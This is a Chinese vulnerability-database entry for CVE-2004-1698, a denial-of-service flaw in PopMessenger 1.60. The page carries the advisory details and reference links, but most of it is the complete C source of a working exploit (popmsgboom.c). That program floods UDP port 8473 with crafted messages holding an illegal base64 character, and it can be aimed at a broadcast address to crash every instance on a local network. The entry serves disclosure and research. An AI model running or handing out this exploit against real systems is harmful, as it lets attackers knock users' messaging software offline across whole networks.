CVE-2004-1698
CVSS5.0
发布时间 :2004-09-24 00:00:00
修订时间 :2016-10-17 22:59:23
NMCOE    

[原文]The Base64 function in PopMessenger 1.60 (before 20 Sep 2004) and earlier allows remote attackers to cause a denial of service (application crash) via invalid characters in a message, which causes several alert dialogs to be displayed and leads to a crash.


[CNNVD]LeadMind Pop信息非法字符远程服务拒绝漏洞(CNNVD-200409-058)

        PopMessenger 1.60(2004.9.20前)及其早期版本存在漏洞。远程攻击者可以借助信息中的无效字符导致服务拒绝,这个漏洞可以导致警告对话框出现并导致崩溃。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1698
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1698
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200409-058
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=109581586128899&w=2
(UNKNOWN)  BUGTRAQ  20040921 Broadcast crash in Popmessenger 1.60 (before 20 Sep 2004)
http://www.securityfocus.com/bid/11230
(VENDOR_ADVISORY)  BID  11230
http://xforce.iss.net/xforce/xfdb/17465
(VENDOR_ADVISORY)  XF  popmessenger-base64-dos(17465)

- 漏洞信息

LeadMind Pop信息非法字符远程服务拒绝漏洞
中危 其他
2004-09-24 00:00:00 2005-10-20 00:00:00
远程  
        PopMessenger 1.60(2004.9.20前)及其早期版本存在漏洞。远程攻击者可以借助信息中的无效字符导致服务拒绝,这个漏洞可以导致警告对话框出现并导致崩溃。

- 公告与补丁

        It is reported that the vendor has addressed this issue in versions of Pop Messenger that were released after the 20th of September 2004. This is not confirmed.
        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .
        LeadMind PopMessenger 1.60
        

- 漏洞信息 (477)

PopMessenger <= 1.60 Remote Denial of Service Exploit (EDBID:477)
windows dos
2004-09-23 Verified
8473 Luigi Auriemma
N/A [点击下载]
///////////////////////// popmsgboom.c
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define PORT    8473
#define BCAST   "255.255.255.255"
#define MAX     30      // we need less then 20 packets



u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int         sd,
                i,
                on = 1;
    u_long      randnum;
    u_short     port = PORT;
    u_char      pck[] =
                "Z........\0"
                "C@main\1"
                "@chnlMAIN\1"
                "@chnlMAIN\1"
                "\1\1\1\1\1"
                "crasher\1"
                "cmdAddString\1"
                "%\1";  // the crash happens when the program receives
                        // multiple packets containing an incorrect base64
                        // char in the message field (in fact % is illegal)


    setbuf(stdout, NULL);

    fputs("\n"
        "PopMessenger <= 1.60 (20 Sep 2004) remote crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n"
            "Note: you can also launch this tool versus broadcast IP (like "BCAST")\n"
            "\n", argv[0], PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port    = atoi(argv[2]);
    if(!memcmp(argv[1], BCAST, sizeof(BCAST) - 1)) {
        peer.sin_addr.s_addr = 0xffffffffL;
    } else {
        peer.sin_addr.s_addr = resolv(argv[1]);
    }
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target %s:%hu\n",
        inet_ntoa(peer.sin_addr),
        port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    /* broadcast */
    if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on))
     < 0) std_err();

    randnum = time(NULL);

    printf("- send %d messages with an illegal base64 char to cause the crash\n", MAX);
    for(i = 0; i < MAX; i++) {
        sprintf(pck + 1, "%08lx", randnum * i);  // must be ever different
        if(sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        fputc('.', stdout);
        sleep(0);
    }

    close(sd);
    fputs("\n- data sent, the application should be crashed\n\n", stdout);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


/////////// winerr.h

/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

// milw0rm.com [2004-09-23]		

- 漏洞信息

10202
PopMessenger Invalid Character DoS
Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-09-21 Unknow
2004-09-21 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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